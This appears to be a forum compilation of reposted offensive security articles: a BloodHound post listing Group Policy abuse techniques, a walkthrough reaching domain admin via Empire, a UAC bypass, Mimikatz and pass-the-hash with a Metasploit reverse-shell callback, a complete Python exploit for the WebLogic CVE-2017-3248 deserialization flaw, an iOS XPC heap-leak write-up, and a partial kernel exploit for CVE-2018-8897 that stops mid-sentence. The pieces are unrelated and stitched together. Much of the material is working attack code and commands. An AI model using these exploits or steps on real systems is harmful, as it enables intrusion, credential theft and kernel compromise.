“Bob User” is in a group called “Accounting”, which is part of a group called “Group Policy Admins” (believe me when I say crazier things have happened in the wild, and remember this is a contrived example :). The “Group Policy Admins” group has, as you would imagine, full control of the “Custom Password Policy” GPO. That GPO is then linked to the “Contoso.Local” domain. From here we have a couple options – push an evil policy down to the “Administrator” user and take over “Alice Admin” with an ACL based attack or just push an evil policy down directly to the “Alice Admin” user. Abusing GPO Control Finally, the most important part of this entire topic: how to actually take over computers and users with control over the GPOs that affect those users. For a bit of background and inspiration, read Will’s excellent blog post on abusing GPO rights, which contains information about the first proof-of-concept GPO abuse cmdlet that I’m aware of, New-GPOImmediateTask. When people say “you can do anything with GPO”, they really mean it: you can do anything with GPO. Will and I put together this list of abuses against computers, including the policy location and abuse, just to give you a few ideas: Policy Location: Computer Configuration\Preferences\Control Panel Settings\Folder Options Abuse: Create/alter file type associations, register DDE actions with those associations. Policy Location: Computer Configuration\Preferences\Control Panel Settings\Local Users and Groups Abuse: Add new local admin account. Policy Location: Computer Configuration\Preferences\Control Panel Settings\Scheduled Tasks Abuse: Deploy a new evil scheduled task (ie: PowerShell download cradle). Policy Location: Computer Configuration\Preferences\Control Panel Settings\Services Abuse: Create and configure new evil services. Policy Location: Computer Configuration\Preferences\Windows Settings\Files Abuse: Affected computers will download a file from the domain controller. Policy Location: Computer Configuration\Preferences\Windows Settings\INI Files Abuse: Update existing INI files. Policy Location: Computer Configuration\Preferences\Windows Settings\Registry Abuse: Update specific registry keys. Very useful for disabling security mechanisms, or triggering code execution in any number of ways. Policy Location: Computer Configuration\Preferences\Windows Settings\Shortcuts Abuse: Deploy a new evil shortcut. Policy Location: Computer Configuration\Policies\Software Settings\Software installation Abuse: Deploy an evil MSI. The MSI must be available to the GP client via a network share. Policy Location: Computer Configuration\Policies\Windows Settings\Scripts (startup/shutdown) Abuse: Configure and deploy evil startup scripts. Can run scripts out of GPO directory, can also run PowerShell commands with arguments Policy Location: Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Audit Policy Abuse: Modify local audit settings. Useful for evading detection. Policy Location: Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\User Rights Assignment\ Abuse: Grant a user the right to logon via RDP, grant a user SeDebugPrivilege, grant a user the right to load device drivers, grant a user seTakeOwnershipPrivilege. Basically, take over the remote computer without ever being an administrator on it. Policy Location: Computer Configuration\Policies\Windows Settings\Security Settings\Registry Abuse: Alter DACLs on registry keys, grant yourself an extremely hard to find backdoor on the system. Policy Location: Computer Configuration\Policies\Windows Settings\Security Settings\Windows Firewall Abuse: Manage the Windows firewall. Open up ports if they’re blocked. Policy Location: Computer Configuration\Preferences\Windows Settings\Environment Abuse: Add UNC path for DLL side loading. Policy Location: Computer Configuration\Preferences\Windows Settings\Files Abuse: Copy a file from a remote UNC path. So, that’s all well and good, but how do we actually take these actions? Currently, you’ve got two options: download and install the Group Policy Management Console and use the GPMC GUI to modify the relevant GPO or manually craft the relevant policy file and correctly modify the GPO and gpt.ini file. As an example, let’s say you want to push a new immediate scheduled task to a computer or user. My current understanding (which is definitely subject to correction), based on testing and the Microsoft Group Policy Preferences functional spec, follows: Whenever a group policy client (user or computer) checks for updated group policy, they will go through several steps to collect and apply Group Policy to themselves. The client will check whether the remote version of the GPO is greater than the locally cached version of that GPO (unless gpupdate /force is used). The remote version of the GPO is stored in two locations: As an integer value for the versionNumber attribute on the Group Policy Object itself. As the same integer in the GPT.INI file, located at \\<domain.com>\Policies\<gpo name>\GPT.ini. Note that the “name” of the GPO is not the display name. For instance, the “name” for the Default Domain Policy is {6AC1786C-016F-11D2-945F-00C04fB984F9}. If the remote GPO version number is greater than the locally cached version, the group policy client will continue, analyzing which policies and/or preferences it needs to search for in the relevant SYSVOL directory. For Group Policy preferences (which scheduled tasks fall under), the group policy client will check to see which Client-Side Extensions (CSEs) exist as part of the “gPCMachineExtensionNames” and “gPCUserExtensionNames” attributes. According to the Microsoft Group Policy Preferences functional spec, CSE GUIDs “enable a specific client-side extension on the Group Policy client to be associated with policy data that is stored in the logical and physical components of a Group Policy Object (GPO) on the Group Policy server, for that particular extension.” The CSE GUIDs for Immediate Scheduled tasks, as they would be stored in the “gPCMachineExtensionNames” attribute, are: [{00000000-0000-0000-0000-000000000000}{79F92669-4224-476C-9C5C-6EFB4D87DF4A}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}] And in a slightly more readable format: [ {00000000-0000-0000-0000-000000000000} {79F92669-4224-476C-9C5C-6EFB4D87DF4A} {CAB54552-DEEA-4691-817E-ED4A4D1AFC72} ] [ {AADCED64-746C-4633-A97C-D61349046527} {CAB54552-DEEA-4691-817E-ED4A4D1AFC72} ] This translates to the following: [ {Core GPO Engine} {Preference Tool CSE GUID Local users and groups} {Preference Tool CSE GUID Scheduled Tasks} ] [ {Preference CSE GUID Scheduled Tasks} {Preference Tool CSE GUID Scheduled Tasks} ] Once the group policy client understands that there are some scheduled tasks that apply to it, it will search for a file in the GP directory called ScheduledTasks.xml. That file exists in a predictable location: \\<domain.com>\sysvol\<domain.com>\Policies\<gpo-name>\Machine\Preferences\ScheduledTasks.xml Finally, the group policy client will parse the ScheduledTasks.xml and register the task locally. That’s how the process works, as I understand it. There is still a lot of work to be done on crafting scripts to automate the GPO abuse process, as installing GPMC is rarely a great option while on a red team assessment. If ever there were a call to arms, this is it: we’ll continue working on creating scripts that reliably automate GPO control abuse, but are equally as excited to see what people in the community can come up with as well. Conclusion As Rohan mentioned in his post, BloodHound 1.5 represents a pretty big milestone for the BloodHound project. By adding in GPOs and OU structure, we’re greatly increasing the scope of Active Directory attack surface you can easily map out with BloodHound. In a future blog post, I’ll focus more on the defensive side of things, showing how defenders can use BloodHound to analyze and reduce the attack surface in AD now that we’re tracking GPOs and OU structure. BloodHound is available free and open source on GitHub at https://github.com/BloodHoundAD/BloodHound You can join us on Slack at the official BloodHound Gang Slack here: https://bloodhoundgang.herokuapp.com/ Also published on Medium. Sursa: https://wald0.com/?p=179

Domain Penetration Testing: Using BloodHound, Crackmapexec, & Mimikatz to get Domain Admin In the previous two articles, I gathered local user credentials and escalated to local administrator, with my next step is getting to domain admin. Since I have local admin, I’ll be using a tool called Bloodhound that will map out the entire domain for me and show where my next target will be. After getting Bloodhound running on my Windows host machine (here’s a guide), I then identify a server, 2008R2SERV, that the domain admin, Jaddmon, is logged into. For a guide to setting up and running Bloodhound, view my write-up here. My first step is to try and use Crackmapexec to invoke Mimikatz and dump the credentials, but SMB on this machine is not allowing logins, so I have to find another way around. Since I have local admin rights, I go ahead and RDP into the server where I then use Empire to get a foothold on the server. Using Empire is easy: First I start up empire and then start a listener, like below Once the listener is started, I then type launcher powershell http to generate a powershell payload that will talk back to my listener. I copy this long command, switch to the RDP session and open a command prompt and paste it. When it runs, I see in Empire that I now have an agent on that machine. To interact with it, I first type agents Then interact VLLRZY4EC (or whatever your agent name is) Even though I’m local admin, I still have to bypass UAC. Luckily, there’s a module for this in Empire. I then type usemodule privesc/bypassuac and then set Listener http and then run it. I then get another agent on the machine and yet again, I interact with that new agent. Now I dump the credentials by typing mimikatz It does it’s thing and gives a messy output, but this can be cleaner by typing creds and I then see the domain administrator hashed password. I won’t go the route of cracking the password because that’s too easy. Instead I’ll pass the hash using Crackmapexec. As a PoC, I’ll list the SMB shares of the DC. crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f --shares ‘Success! From here, there’s two methods you can use to get a shell, as outlined here. I prefer the Metasploit option. crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443 Once multi/handler is listening, the connection comes in after a brief wait And boom! Just like that, domain admin. This is one of many ways to exploit Active Directory misconfigurations to get to domain admin. As stated before, this is not the end of a penetration test though. My next steps here would be to try other methods to get to domain admin or any other accounts because a penetration test is conducted to see what all of the vulnerabilities are in a network, not just one. Additional Resources I recommend reading: http://ethicalhackingblog.com/hacking-powershell-empire-2-0/ https://adsecurity.org/?p=2398 https://github.com/byt3bl33d3r/CrackMapExec https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html Sursa: https://hausec.com/2017/10/21/domain-penetration-testing-using-bloodhound-crackmapexec-mimikatz-to-get-domain-admin/

Trebuie alocat spatiu pentru acei vectori. Foloseste liste mai bine: https://www.javatpoint.com/java-list

Catalog Description Learn how to analyze malware, including computer viruses, trojans, and rootkits, using disassemblers, debuggers, static and dynamic analysis, using IDA Pro, OllyDbg and other tools. Advisory: CS 110A or equivalent familiarity with programming Upon successful completion of this course, the student will be able to: Describe types of malware, including rootkits, Trojans, and viruses. Perform basic static analysis with antivirus scanning and strings Perform basic dynamic analysis with a sandbox Perform advanced static analysis with IDA Pro Perform advanced dynamic analysis with a debugger Operate a kernel debugger Explain malware behavior, including launching, encoding, and network signatures Understand anti-reverse-engineering techniques that impede the use of disassemblers, debuggers, and virtual machines Recognize common packers and how to unpack them Videos: https://samsclass.info/126/126_S17.shtml

#!/usr/bin/python # -*- coding: utf-8 -*- from argparse import RawTextHelpFormatter import socket, argparse, subprocess, ssl, os.path HELP_MESSAGE = ''' -------------------------------------------------------------------------------------- Developped by bobsecq: quentin.hardy@protonmail.com (quentin.hardy@bt.com) This script is the first public exploit/POC for: - Exploiting CVE-2017-3248 (Oracle WebLogic RMI Registry UnicastRef Object Java Deserialization Remote Code Execution) - Checking if a weblogic server is vulnerable This script needs the last version of Ysoserial (https://github.com/frohoff/ysoserial) Version affected (according to Oracle): - 10.3.6.0 - 12.1.3.0 - 12.2.1.0 - 12.2.1.1 -------------------------------------------------------------------------------------- ''' ''' Tested on 12.1.2.0 For technical information, see: - https://www.tenable.com/security/research/tra-2017-07 - http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html Vulnerability identified by Jacob Baines (Tenable Network Security) but exploit/POC has not been published! ''' #COMMANDS ARGS_YSO_GET_PAYLOD = "JRMPClient {0}:{1} |xxd -p| tr -d '\n'" #{0}: IP, {1}: port for connecting 'back' (i.e. attacker IP) CMD_GET_JRMPCLIENT_PAYLOAD = "java -jar {0} {1}"# {0} YSOSERIAL_PATH, {1}ARGS_YSO_GET_PAYLOD CMD_YSO_LISTEN = "java -cp {0} ysoserial.exploit.JRMPListener {1} {2} '{3}'"# {0} YSOSERIAL_PATH, {1}PORT, {2}payloadType, {3}command #PAYLOADS #A. Packet 1 to send: payload_1 = '74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a' #B. Packet 2 to send: payload_2 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e32323700124141414141414141414141413154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd071a7727000d3131312e3131312e302e31313161863d1d0000000078' #C. Packet 3 to send: #C.1 length payload_3_1 = "000003b3" #C.2 first part payload_3_2 = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000' #C.3.1 sub payload payload_3_3_1 = 'aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' #C.3.2 Ysoserial Payload generated in real time payload_3_3_2 = "" #C.4 End of the payload payload_3_4 = 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' def runCmd(cmd): proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout_value = proc.stdout.read() + proc.stderr.read() return stdout_value def getJrmpClientPayloadEncoded(attackerIp, attackerJRMPListenerPort, ysoPath): completeCmd = CMD_GET_JRMPCLIENT_PAYLOAD.format(ysoPath, ARGS_YSO_GET_PAYLOD.format(attackerIp, attackerJRMPListenerPort)) print "[+] Ysoserial command (JRMP client): {0}".format(repr(completeCmd)) stdout = runCmd(cmd = completeCmd) return stdout def exploit(targetIP, targetPort, attackerIP, attackerJRMPPort, cmd, testOnly=False, payloadType='CommonsCollections5', sslEnabled=False, ysoPath=""): if testOnly == True: attackerIP = "127.0.0.1" attackerJRMPPort = 0 print "[+] Connecting to {0}:{1} ...".format(targetIP, targetPort) if sslEnabled == True: print "[+] ssl mode enabled" s = ssl.wrap_socket(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) else: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[+] ssl mode disabled" s.connect((targetIP, targetPort)) print "[+] Connected to {0}:{1}".format(targetIP, targetPort) print "[+] Sending first packet..." #print "[S1] Sending {0}".format(repr(payload_1.decode('hex'))) s.sendall(payload_1.decode('hex')) data = s.recv(4096) #print '[R1] Received', repr(data) print "[+] Sending second packet..." #print "[S2] Sending {0}".format(repr(payload_2.decode('hex'))) s.sendall(payload_2.decode('hex')) data = s.recv(4096) #print '[R2] Received', repr(data) print "[+] Generating with ysoserial the third packet which contains a JRMPClient payload..." payload_3_3_2 = getJrmpClientPayloadEncoded(attackerIp=attackerIP, attackerJRMPListenerPort=attackerJRMPPort, ysoPath=ysoPath) payload= payload_3_1 + payload_3_2 + payload_3_3_1 + payload_3_3_2 + payload_3_4 payload = payload.replace(payload_3_1, "0000{:04x}".format(len(payload)/2), 1) sendata = payload.decode('hex') if testOnly == False: print "[+] You have to execute the following command locally:" print " {0}".format(CMD_YSO_LISTEN.format(ysoPath, attackerJRMPPort, payloadType,cmd)) raw_input("[+] Press Enter when this previous command is running...") print "[+] Sending third packet..." #print "[S3] Sending {0}".format(repr(sendata)) s.sendall(sendata) data = s.recv(4096) s.close() #print '[R3] Received', repr(data) if testOnly == True: if "cannot be cast to weblogic" in str(data): print "[+] 'cannot be cast to weblogic' string in the third response from server" print "\n{2}\n[-] target {0}:{1} is not vulnerable\n{2}\n".format(targetIP, targetPort, '-'*60) else: print "[+] 'cannot be cast to weblogic' string is NOT in the third response from server" print "\n{2}\n[+] target {0}:{1} is vulnerable\n{2}\n".format(targetIP, targetPort, '-'*60) else: print "[+] The target will connect to {0}:{1}".format(attackerIP, attackerJRMPPort) print "[+] The command should be executed on the target after connection on {0}:{1}".format(attackerIP, attackerJRMPPort) def main(): argsParsed = argparse.ArgumentParser(description=HELP_MESSAGE, formatter_class=RawTextHelpFormatter) argsParsed.add_argument("-t", dest='target', required=True, help='target IP') argsParsed.add_argument("-p", dest='port', type=int, required=True, help='target port') argsParsed.add_argument("--jip", dest='attackerIP', required=False, help='Local JRMP listener ip') argsParsed.add_argument("--jport", dest='attackerPort', type=int, default=3412, required=False, help='Local JRMP listener port (default: %(default)s)') argsParsed.add_argument("--cmd", dest='cmdToExecute', help='Command to execute on the target') argsParsed.add_argument("--check", dest='check', action='store_true', default=False, help='Check if vulnerable') argsParsed.add_argument("--ssl", dest='sslEnabled', action='store_true', default=False, help='Enable ssl connection') argsParsed.add_argument("--ysopath", dest='ysoPath', required=True, default=False, help='Ysoserial path') argsParsed.add_argument("--payloadType", dest='payloadType', default="CommonsCollections5", help='Payload to use in JRMP listener (default: %(default)s)') args = dict(argsParsed.parse_args()._get_kwargs()) if os.path.isfile(args['ysoPath'])==False: print "[-] You have to give the path to Ysoserial with --ysopath (https://github.com/frohoff/ysoserial)!" return -1 if args['check'] == False and args['attackerIP'] == None: print "[-] You have to give an IP with --jip !" return -1 elif args['check'] == False and args['cmdToExecute'] == None: print "[-] You have to give a command to execute on the target with --cmd !" return -1 if args['check'] == True: print "[+] Checking if target {0}:{1} is vulnerable to CVE-2017-3248 without executing a system command on the target...".format(args['target'], args['port']) exploit(targetIP=args['target'], targetPort=args['port'], attackerIP=None, attackerJRMPPort=None, cmd=None, testOnly=True, sslEnabled=args['sslEnabled'], ysoPath=args['ysoPath']) else: print "[+] Exploiting target {0}:{1}...".format(args['target'], args['port']) exploit(targetIP=args['target'], targetPort=args['port'], attackerIP=args['attackerIP'], attackerJRMPPort=args['attackerPort'], cmd=args['cmdToExecute'], payloadType=args['payloadType'], testOnly=False, sslEnabled=args['sslEnabled'],ysoPath=args['ysoPath']) if __name__ == "__main__": main() Sursa: https://www.exploit-db.com/exploits/44998/?rss&amp;utm_source=dlvr.it&amp;utm_medium=twitter

Reading process memory using XPC strings by Brandon Azad July 9, 2018 This is a short post about another bug I discovered mostly by accident. While reversing libxpc, I noticed that XPC string deserialization does not check whether the deserialized string is actually as long as the serialized length claims: it could be shorter. That is, the serialized XPC message might claim that the string is 1000 bytes long even though the string contains a null byte at index 100. The resulting OS_xpc_string object will then think its C string on the heap is longer than it actually is. While directly exploitating this vulnerability to execute arbitrary code is difficult, there’s another path we can take. The length field of an OS_xpc_string object is trusted when serializing the string into a message, so if we can get an XPC service to send us back the string it just deserialized, it will over-read from the heap C-string buffer and send us all of that extra data in the message, giving us a snapshot of that process’s heap memory. The resulting exploit primitive is similar to how the Heartbleed vulnerability could be used to over-read heap data from an OpenSSL-powered server’s memory. (XP)C strings and null bytes I was actually disassembling libxpc in order to understand the wire format when I noticed a peculiarity about the string deserialization function, _xpc_string_deserialize: OS_xpc_string *__fastcall _xpc_string_deserialize(OS_xpc_serializer *xserializer) { OS_xpc_string *xstring; // rbx@1 char *string; // rax@4 char *contents; // [rsp+8h] [rbp-18h]@1 size_t size; // [rsp+10h] [rbp-10h]@1 MAPDST xstring = 0LL; contents = 0LL; size = 0LL; if ( _xpc_string_get_wire_value(xserializer, (const char **)&contents, &size) ) { if ( contents[size - 1] || (string = _xpc_try_strdup(contents)) == 0LL ) { xstring = 0LL; } else { xstring = _xpc_string_create(string, size - 1); LOBYTE(xstring->flags) |= 1u; } } return xstring; } If you look carefully, you’ll notice that a particular check is missing. The function _xpc_string_get_wire_value seems to get a pointer to the data bytes of the string and the reported length of the string. The code then checks whether the byte at index size - 1 is null before duplicating the string and creating the actual OS_xpc_string object with _xpc_string_create, passing the duplicated string and size - 1. The check that contents is null does ensure that the serialized string is no longer than size bytes, but it does not ensure that the string is not shorter than size bytes: there could be a null byte earlier in the serialized string data. This is problematic because the unchecked size value gets propagated to the resulting OS_xpc_string object through the function _xpc_string_create, which leads to inconsistencies between the string object’s reported length and actual length on the heap. Exploitation by XPC message reflection Any nontrivial exploit would have to leverage the disagreement between the resulting XPC string object’s length and the contents of its heap buffer. This means that we need to find code in some XPC service that uses both length field and the string contents in a significant way. Unfortunately, usage patterns that could lead to memory corruption seemed unlikely; you’d need to write some pretty convoluted code to make a too-short string overwrite a buffer: xpc_object_t string = xpc_dictionary_get_value(message, "key"); char buf[strlen(xpc_string_get_string_ptr(string))]; memcpy(buf, xpc_string_get_string_ptr(string), xpc_string_get_length(string)); Not surprisingly, I couldn’t find any iOS services that use XPC strings in a way that could lead to memory corruption. However, there’s still another way to exploit this bug to perform useful work, and that’s by leveraging libxpc’s own behavior in services that reflect XPC messages back to the client. Even though no clients of libxpc use an OS_xpc_string object’s length field in a significant way, there are parts of the libxpc library itself that do: in particular, the XPC string serialization code does trust the stored length field while copying the string contents into the XPC message. This is the decompiled implementation of _xpc_string_serialize: void __fastcall _xpc_string_serialize(OS_xpc_string *string, OS_xpc_serializer *serializer) { int type; // [rsp+8h] [rbp-18h]@1 int size; // [rsp+Ch] [rbp-14h]@1 type = *((_DWORD *)&OBJC_CLASS___OS_xpc_string + 10); _xpc_serializer_append(serializer, &type, 4uLL, 1, 0, 0); size = LODWORD(string->length) + 1; _xpc_serializer_append(serializer, &size, 4uLL, 1, 0, 0); _xpc_serializer_append(serializer, string->string, string->length + 1, 1, 0, 0); } The OS_xpc_string’s length parameter is trusted when serializing the string, causing that many bytes to be copied from the heap into the serialized message. If the deserialized string was shorter than its reported length, the message will be filled with out-of-bounds heap data. Exploitation is still limited to XPC services that reflect some part of the XPC message back to the client, but this is much more common. Targeting diagnosticd On macOS and iOS, diagnosticd is a promising candidate for exploitation, not least because it is unsandboxed, root, and task_for_pid-allow. Diagnosticd is responsible for processing diagnostic messages (for example, messages generated by os_log) and streaming them to clients interested in receiving these messages. By registering to receive our own diagnostic stream and then sending a diagnostic message with a shorter than expected string, we can obtain a snapshot of some of the data in diagnosticd’s heap, which can aid in getting code execution in the process. I wrote up a proof-of-concept exploit called xpc-string-leak that can be used to sample arbitrarily-sized sections of out-of-bounds heap content from diagnosticd. The exploit flow is fairly straightforward: we register a Mach port with diagnosticd to receive a stream of diagnostic messages from our own process, generate a diagnostic message with a malformed too-short string, then listen on the port we registered earlier for the message from diagnosticd containing out-of-bounds heap data. Interestingly, because diagnosticd receives logging messages from other processes, it is possible that the out-of-bounds heap data might contain sensitive information from other processes as well. Thus, there are user privacy implications to this bug even without achieving code execution in diagnosticd. Timeline I discovered this bug early in 2018 (January or February), but forgot to investigate it until May. I reported the issue to Apple on May 9, and it was assigned CVE-2018-4248 and patched in iOS 11.4.1 and macOS 10.13.6 on July 9. Sursa: http://bazad.github.io/2018/07/xpc-string-leak/

Arbitrary Code Execution at Ring 0 using CVE-2018-8897 Can BölükMay 11, 201871324.7k Just a few days ago, a new vulnerability allowing an unprivileged user to run #DB handler with user-mode GSBASE was found by Nick Peterson (@nickeverdox) and Nemanja Mulasmajic (@0xNemi). At the end of the whitepaper they published on triplefault.io, they mentioned that they were able to load and execute unsigned kernel code, which got me interested in the challenge; and that’s exactly what I’m going to attempt doing in this post. Before starting, I would like to note that this exploit may not work with certain hypervisors (like VMWare), which discard the pending #DB after INT3. I debugged it by “simulating” this situation. Final source code can be found at the bottom. 0x0: Setting Up the Basics The fundamentals of this exploit is really simple unlike the exploitation of it. When stack segment is changed –whether via MOV or POP– until the next instruction completes interrupts are deferred. This is not a microcode bug but rather a feature added by Intel so that stack segment and stack pointer can get set at the same time. However, many OS vendors missed this detail, which lets us raise a #DB exception as if it comes from CPL0 from user-mode. We can create a deferred-to-CPL0 exception by setting debug registers in such a way that during the execution of stack-segment changing instruction a #DB will raise and calling int 3 right after. int 3 will jump to KiBreakpointTrap, and before the first instruction of KiBreakpointTrap executes, our #DB will be raised. As it is mentioned by the everdox and 0xNemi in the original whitepaper, this lets us run a kernel-mode exception handler with our user-mode GSBASE. Debug registers and XMM registers will also be persisted. All of this can be done in a few lines like shown below: #include <Windows.h> #include <iostream> void main() { static DWORD g_SavedSS = 0; _asm { mov ax, ss mov word ptr [ g_SavedSS ], ax } CONTEXT Ctx = { 0 }; Ctx.Dr0 = ( DWORD ) &g_SavedSS; Ctx.Dr7 = ( 0b1 << 0 ) | ( 0b11 << 16 ) | ( 0b11 << 18 ); Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; SetThreadContext( HANDLE( -2 ), &Ctx ); PVOID FakeGsBase = ...; _asm { mov eax, FakeGsBase ; Set eax to fake gs base push 0x23 push X64_End push 0x33 push X64_Start retf X64_Start: __emit 0xf3 ; wrgsbase eax __emit 0x0f __emit 0xae __emit 0xd8 retf X64_End: ; Vulnerability mov ss, word ptr [ g_SavedSS ] ; Defer debug exception int 3 ; Execute with interrupts disabled nop } } This example is 32-bit for the sake of showing ASM and C together, the final working code will be 64-bit. Now let’s start debugging, we are in KiDebugTrapOrFault with our custom GSBASE! However, this is nothing but catastrophic, almost no function works and we will end up in a KiDebugTrapOrFault->KiGeneralProtectionFault->KiPageFault->KiPageFault->… infinite loop. If we had a perfectly valid GSBASE, the outcome of what we achieved so far would be a KMODE_EXCEPTION_NOT_HANDLED BSOD, so let’s focus on making GSBASE function like the real one and try to get to KeBugCheckEx. We can utilize a small IDA script to step to relevant parts faster: #include <idc.idc> static main() { Message( "--- Step Till Next GS ---\n" ); while( 1 ) { auto Disasm = GetDisasmEx( GetEventEa(), 1 ); if ( strstr( Disasm, "gs:" ) >= Disasm ) break; StepInto(); GetDebuggerEvent( WFNE_SUSP, -1 ); } } 0x1: Fixing the KPCR Data Here are the few cases we have to modify GSBASE contents to pass through successfully: – KiDebugTrapOrFault KiDebugTrapOrFault: ... MEMORY:FFFFF8018C20701E ldmxcsr dword ptr gs:180h Pcr.Prcb.MxCsr needs to have a valid combination of flags to pass this instruction or else it will raise a #GP. So let’s set it to its initial value, 0x1F80. – KiExceptionDispatch KiExceptionDispatch: ... MEMORY:FFFFF8018C20DB5F mov rax, gs:188h MEMORY:FFFFF8018C20DB68 bt dword ptr [rax+74h], 8 Pcr.Prcb.CurrentThread is what resides in gs:188h. We are going to allocate a block of memory and reference it in gs:188h. – KiDispatchException KiDispatchException: ... MEMORY:FFFFF8018C12A4D8 mov rax, gs:qword_188 MEMORY:FFFFF8018C12A4E1 mov rax, [rax+0B8h] This is Pcr.Prcb.CurrentThread.ApcStateFill.Process and again we are going to allocate a block of memory and simply make this pointer point to it. KeCopyLastBranchInformation: ... MEMORY:FFFFF8018C12A0AC mov rax, gs:qword_20 MEMORY:FFFFF8018C12A0B5 mov ecx, [rax+148h] 0x20 from GSBASE is Pcr.CurrentPrcb, which is simply Pcr + 0x180. Let’s set Pcr.CurrentPrcb to Pcr + 0x180 and also set Pcr.Self to &Pcr while on it. – RtlDispatchException This one is going to be a little bit more detailed. RtlDispatchException calls RtlpGetStackLimits, which calls KeQueryCurrentStackInformation and __fastfails if it fails. The problem here is that KeQueryCurrentStackInformation checks the current value of RSP against Pcr.Prcb.RspBase, Pcr.Prcb.CurrentThread->InitialStack, Pcr.Prcb.IsrStack and if it doesn’t find a match it reports failure. We obviously cannot know the value of kernel stack from user-mode, so what to do? There’s a weird check in the middle of the function: char __fastcall KeQueryCurrentStackInformation(_DWORD *a1, unsigned __int64 *a2, unsigned __int64 *a3) { ... if ( *(_QWORD *)(*MK_FP(__GS__, 392i64) + 40i64) == *MK_FP(__GS__, 424i64) ) { ... } else { *v5 = 5; result = 1; *v3 = 0xFFFFFFFFFFFFFFFFi64; *v4 = 0xFFFF800000000000i64; } return result; } Thanks to this check, as long as we make sure KThread.InitialStack (KThread + 0x28) is not equal to Pcr.Prcb.RspBase (gs:1A8h) KeQueryCurrentStackInformation will return success with 0xFFFF800000000000-0xFFFFFFFFFFFFFFFF as the reported stack range. Let’s go ahead and set Pcr.Prcb.RspBase to 1 and 